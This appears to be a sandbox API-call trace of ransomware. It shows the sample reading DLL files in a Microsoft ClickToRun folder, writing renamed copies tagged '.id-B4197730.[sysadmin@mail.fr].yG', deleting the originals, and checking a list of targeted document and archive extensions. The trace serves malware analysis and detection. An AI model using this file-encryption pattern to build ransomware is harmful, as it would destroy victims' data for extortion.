	[0055.203] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.203] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0055.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0055.204] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=21184) returned 1
	[0055.204] CloseHandle (hObject=0x32c) returned 1
	[0055.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20
	[0055.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.205] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.205] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.207] GetLastError () returned 0x0
	[0055.207] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x52c0, lpOverlapped=0x0) returned 1
	[0055.365] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x52d0, lpOverlapped=0x0) returned 1
	[0055.366] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.366] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x122, lpOverlapped=0x0) returned 1
	[0055.366] SetEndOfFile (hFile=0x334) returned 1
	[0055.366] CloseHandle (hObject=0x334) returned 1
	[0055.367] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.367] SetEndOfFile (hFile=0x398) returned 1
	[0055.368] CloseHandle (hObject=0x398) returned 1
	[0055.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.368] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1
	[0055.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.369] lstrlenW (lpString=".doc") returned 4
	[0055.369] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.369] lstrlenW (lpString=".docx") returned 5
	[0055.369] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.369] lstrlenW (lpString=".pdf") returned 4
	[0055.369] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.369] lstrlenW (lpString=".xls") returned 4
	[0055.369] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.369] lstrlenW (lpString=".xlsx") returned 5
	[0055.369] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.369] lstrlenW (lpString=".ppt") returned 4
	[0055.369] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.369] lstrlenW (lpString=".zip") returned 4
	[0055.369] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.369] lstrlenW (lpString=".rar") returned 4
	[0055.369] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.369] lstrlenW (lpString=".bz2") returned 4
	[0055.369] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.369] lstrlenW (lpString=".7z") returned 3
	[0055.369] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.369] lstrlenW (lpString=".dbf") returned 4
	[0055.369] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.369] lstrlenW (lpString=".1cd") returned 4
	[0055.369] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.369] lstrlenW (lpString=".jpg") returned 4
	[0055.369] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.370] lstrlenW (lpString=".doc") returned 4
	[0055.370] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.370] lstrlenW (lpString=".docx") returned 5
	[0055.370] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.370] lstrlenW (lpString=".pdf") returned 4
	[0055.370] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.370] lstrlenW (lpString=".xls") returned 4
	[0055.370] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.370] lstrlenW (lpString=".xlsx") returned 5
	[0055.370] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.370] lstrlenW (lpString=".ppt") returned 4
	[0055.370] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.370] lstrlenW (lpString=".zip") returned 4
	[0055.370] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.370] lstrlenW (lpString=".rar") returned 4
	[0055.370] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.370] lstrlenW (lpString=".bz2") returned 4
	[0055.370] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.370] lstrlenW (lpString=".7z") returned 3
	[0055.370] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.370] lstrlenW (lpString=".dbf") returned 4
	[0055.370] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.370] lstrlenW (lpString=".1cd") returned 4
	[0055.370] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0055.370] lstrlenW (lpString=".jpg") returned 4
	[0055.370] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.371] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.371] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0055.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.371] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=19136) returned 1
	[0055.371] CloseHandle (hObject=0x398) returned 1
	[0055.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20
	[0055.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.371] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.371] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.372] GetLastError () returned 0x0
	[0055.372] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0055.443] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0055.444] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.444] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x114, lpOverlapped=0x0) returned 1
	[0055.444] SetEndOfFile (hFile=0x334) returned 1
	[0055.444] CloseHandle (hObject=0x334) returned 1
	[0055.445] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.445] SetEndOfFile (hFile=0x398) returned 1
	[0055.446] CloseHandle (hObject=0x398) returned 1
	[0055.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.446] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1
	[0055.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.448] lstrlenW (lpString=".doc") returned 4
	[0055.448] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.448] lstrlenW (lpString=".docx") returned 5
	[0055.448] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.448] lstrlenW (lpString=".pdf") returned 4
	[0055.449] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.449] lstrlenW (lpString=".xls") returned 4
	[0055.449] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.449] lstrlenW (lpString=".xlsx") returned 5
	[0055.449] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.449] lstrlenW (lpString=".ppt") returned 4
	[0055.449] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.449] lstrlenW (lpString=".zip") returned 4
	[0055.449] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.449] lstrlenW (lpString=".rar") returned 4
	[0055.449] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.449] lstrlenW (lpString=".bz2") returned 4
	[0055.449] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.449] lstrlenW (lpString=".7z") returned 3
	[0055.449] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.449] lstrlenW (lpString=".dbf") returned 4
	[0055.449] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.449] lstrlenW (lpString=".1cd") returned 4
	[0055.449] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.449] lstrlenW (lpString=".jpg") returned 4
	[0055.449] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.449] lstrlenW (lpString=".doc") returned 4
	[0055.449] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.449] lstrlenW (lpString=".docx") returned 5
	[0055.449] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.449] lstrlenW (lpString=".pdf") returned 4
	[0055.450] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.450] lstrlenW (lpString=".xls") returned 4
	[0055.450] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.450] lstrlenW (lpString=".xlsx") returned 5
	[0055.450] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.450] lstrlenW (lpString=".ppt") returned 4
	[0055.450] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.450] lstrlenW (lpString=".zip") returned 4
	[0055.450] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.450] lstrlenW (lpString=".rar") returned 4
	[0055.450] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.450] lstrlenW (lpString=".bz2") returned 4
	[0055.450] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.450] lstrlenW (lpString=".7z") returned 3
	[0055.450] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.450] lstrlenW (lpString=".dbf") returned 4
	[0055.450] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.450] lstrlenW (lpString=".1cd") returned 4
	[0055.450] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0055.450] lstrlenW (lpString=".jpg") returned 4
	[0055.450] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.450] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.450] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0055.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.452] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=11616) returned 1
	[0055.452] CloseHandle (hObject=0x334) returned 1
	[0055.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20
	[0055.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.452] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.452] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0055.453] GetLastError () returned 0x0
	[0055.453] ReadFile (in: hFile=0x334, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0055.475] WriteFile (in: hFile=0x32c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0055.476] ReadFile (in: hFile=0x334, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.476] WriteFile (in: hFile=0x32c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x116, lpOverlapped=0x0) returned 1
	[0055.476] SetEndOfFile (hFile=0x32c) returned 1
	[0055.476] CloseHandle (hObject=0x32c) returned 1
	[0055.477] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.477] SetEndOfFile (hFile=0x334) returned 1
	[0055.478] CloseHandle (hObject=0x334) returned 1
	[0055.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.478] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1
	[0055.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.478] lstrlenW (lpString=".doc") returned 4
	[0055.478] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.478] lstrlenW (lpString=".docx") returned 5
	[0055.478] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.478] lstrlenW (lpString=".pdf") returned 4
	[0055.478] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.478] lstrlenW (lpString=".xls") returned 4
	[0055.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.478] lstrlenW (lpString=".xlsx") returned 5
	[0055.478] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.478] lstrlenW (lpString=".ppt") returned 4
	[0055.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.479] lstrlenW (lpString=".zip") returned 4
	[0055.479] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.479] lstrlenW (lpString=".rar") returned 4
	[0055.479] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.479] lstrlenW (lpString=".bz2") returned 4
	[0055.479] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.479] lstrlenW (lpString=".7z") returned 3
	[0055.479] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.479] lstrlenW (lpString=".dbf") returned 4
	[0055.479] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.479] lstrlenW (lpString=".1cd") returned 4
	[0055.479] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.479] lstrlenW (lpString=".jpg") returned 4
	[0055.479] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.479] lstrlenW (lpString=".doc") returned 4
	[0055.479] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.479] lstrlenW (lpString=".docx") returned 5
	[0055.479] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.479] lstrlenW (lpString=".pdf") returned 4
	[0055.479] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.479] lstrlenW (lpString=".xls") returned 4
	[0055.479] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.479] lstrlenW (lpString=".xlsx") returned 5
	[0055.479] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.479] lstrlenW (lpString=".ppt") returned 4
	[0055.480] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.480] lstrlenW (lpString=".zip") returned 4
	[0055.480] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.480] lstrlenW (lpString=".rar") returned 4
	[0055.480] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.480] lstrlenW (lpString=".bz2") returned 4
